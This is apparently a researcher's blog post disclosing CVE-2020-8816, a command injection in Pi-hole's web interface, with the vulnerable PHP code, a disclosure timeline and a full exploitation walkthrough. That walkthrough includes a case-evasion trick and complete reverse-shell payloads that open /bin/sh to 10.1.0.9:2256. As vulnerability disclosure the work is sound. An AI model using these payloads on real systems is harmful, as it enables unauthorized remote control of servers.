Skip to content
[Nate's Blog](https://natedotred.wordpress.com/)
# CVE-2020-8816 - Pi-hole Remote Code Execution
Posted by[nateksec](https://natedotred.wordpress.com/author/nateksec/)[March
28, 2020March 28,
2020](https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-
remote-code-execution/)Posted
in[Vulnerability](https://natedotred.wordpress.com/category/vulnerability/)Tags:[CVE-2020-8816](https://natedotred.wordpress.com/tag/cve-2020-8816/),
[Pi-hole](https://natedotred.wordpress.com/tag/pi-hole/),
[RCE](https://natedotred.wordpress.com/tag/rce/)
## Impact

Pi-hole is affected by a Remote Code Execution vulnerability. An authenticated
user of the Web portal can execute arbitrary command with the underlying
server with the privileges of the local user executing the service.
Exploitation of this vulnerability can be automated.
## What is Pi-hole?
Pi-Hole is a DNS server specialized in content-filtering. It also features a
DHCP server. According to Pi-hole LLC:
> The Pi-hole® is a DNS sinkhole that protects your devices from unwanted
> content, without installing any client-side software.
## Who is affected?
Pi-hole Web interface version 4.3.2 and earlier is affected.
## Technical Analysis
In order to configure its built-in DHCP server, Pi-hole features a Web-based
user interface. From there, users can define static DHCP leases to pin an IP
address to a given MAC address.
When processing user input in the form of MAC addresses, the application does
not adequately validate nor validate this input before reusing it in a shell
command.
While a legitimate MAC address format should be as follows:
> aaaaaaaaaaaa
The MAC address input can be tampered to execute arbitrary code:
> aaaaaaaaaaaa&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27"));'&&
Affected configuration panel
The following excerpt contains the code that is responsible for this
vulnerability. Code sections outside the code path used for exploitation were
stripped and important lines of code were highlighted for the sake of clarity.
```
<?php
/* Pi-hole: A black hole for Internet advertisements
* (c) 2017 Pi-hole, LLC (https://pi-hole.net)
* Network-wide ad blocking via your own hardware.
*
* This file is copyright under the latest version of the EUPL.
* Please see LICENSE file for your rights under this license. */
if(basename($_SERVER['SCRIPT_FILENAME']) !== "settings.php")
{
die("Direct access to this script is forbidden!");
}
//[...]
function validMAC($mac_addr)
{
// Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1);
}
```
```
//[...]
// Read available adlists
$adlist = readAdlists();
// Read available DNS server list
$DNSserverslist = readDNSserversList();
$error = "";
$success = "";
if(isset($_POST["field"]))
{
// Handle CSRF
check_csrf(isset($_POST["token"]) ? $_POST["token"] : "");
// Process request
switch ($_POST["field"]) {
//[...]
case "DHCP":
if(isset($_POST["addstatic"]))
{
$mac = $_POST["AddMAC"];
$ip = $_POST["AddIP"];
$hostname = $_POST["AddHostname"];
if(!validMAC($mac))
{
$error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
}
$mac = strtoupper($mac);
if(!validIP($ip) && strlen($ip) > 0)
{
$error .= "IP address (".htmlspecialchars($ip).") is invalid!<br>";
}
if(!validDomain($hostname) && strlen($hostname) > 0)
{
$error .= "Host name (".htmlspecialchars($hostname).") is invalid!<br>";
}
if(strlen($hostname) == 0 && strlen($ip) == 0)
{
$error .= "You can not omit both the IP address and the host name!<br>";
}
if(strlen($hostname) == 0)
$hostname = "nohost";
if(strlen($ip) == 0)
$ip = "noip";
// Test if this lease is already included
readStaticLeasesFile();
foreach($dhcp_static_leases as $lease) {
if($lease["hwaddr"] === $mac)
{
$error .= "Static release for MAC address (".htmlspecialchars($mac).") already defined!<br>";
break;
}
if($ip !== "noip" && $lease["IP"] === $ip)
{
$error .= "Static lease for IP address (".htmlspecialchars($ip).") already defined!<br>";
break;
}
if($lease["host"] === $hostname)
{
$error .= "Static lease for hostname (".htmlspecialchars($hostname).") already defined!<br>";
break;
}
}
if(!strlen($error))
{
exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname);
$success .= "A new static address has been added";
}
break;
}
if(isset($_POST["removestatic"]))
{
$mac = $_POST["removestatic"];
if(!validMAC($mac))
{
$error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
}
$mac = strtoupper($mac);
if(!strlen($error))
{
exec("sudo pihole -a removestaticdhcp ".$mac);
$success .= "The static address with MAC address ".htmlspecialchars($mac)." has been removed";
}
break;
}
```
```
//[...]
default:
// Option not found
$debug = true;
break;
}
}
//[...]
```
Pi-hole's Dashboard - savesettings.php - Original Code :
[Source](https://github.com/pi-hole/AdminLTE/blob/master/scripts/pi-
hole/php/savesettings.php)
## Exploitation
The biggest difficulty in exploiting this vulnerability is that the user input
is capitalized through a call to "strtoupper". Because of this, no lower case
character can be used in the resulting injection.
Typically, the injection would look like this:
> aaaaaaaaaaaa&&php -r '$sock=fsockopen("10.1.0.9",2256);exec("/bin/sh -i <&3
> &3 2>&3");'
Here, our injection would be capitalized to "PHP -R". As Linux commands are
case sensitive, this would fail, yielding a "sh: 1: PHP: not found" error.
One way to overcome this difficulty is to make use of environment variables
and of ~~nightmare-inducing~~ POSIX Shell Parameter Expansions. Note that the
"sh" shell is used here.
Inducing a PATH environment
variable leak
It is possible to fetch the "PATH" environment variables on the server by
postpending "$PATH" to a MAC address on a new static DHCP lease.
PATH Environment Variable
Leakage
Luckily for us, the PATH contains the strings "pihole" and "usr" which in turn
contains the "p", "h" and "r" lower-case characters. Those are the only
letters we need to write "php -r".
> /opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
For this PATH environment variable, it is possible to define the $P, $H and $R
shell parameters that contain their matching lower-case character with the
following POSIX Shell Parameter Expansions:
> W=${PATH#/???/}
> P=${W%%?????:}
> X=${PATH#/???/??}
> H=${X%%???:}
> Z=${PATH#:/??}
> R=${Z%%/}
With these shell parameters introduced, our injection can be rewritten as:
> $P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27"));'
Note that, here, neither PHP functions nor hexadecimal are case sensitive.
$IFS corresponds to the default shell delimiter character which is a space.
Finally, our complete reverse shell payload is:
> aaaaaaaaaaaa&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27"));'&&
Time to execute it!
Injecting a reverse shell
payload Receiving a shell
and enumerating sudoers actions
Privilege escalation is left as an exercise to the reader.
## Time Line
- François Renaud-Philippon disclosed the vulnerability to Pi-hole LLC on February 10, 2020.
- Pi-hole LLC acknowledged receiving the report on February 10, 2020.
- Pi-hole LLC fixed the vulnerability with the release of Pi-hole Web interface 4.3.3 on February 18, 2020.
- Pi-hole LLC authorized public disclosure on February 19, 2020.
_Pi-hole ® and the Pi-hole logo are Registered Trademark of Pi-hole LLC._
_Art from[ブラックジャックによろしく12](http://mangaonweb.com/read/index.php/item?id=12).
(C)[佐藤 秀峰](https://twitter.com/shuho_sato)_)
暂无评论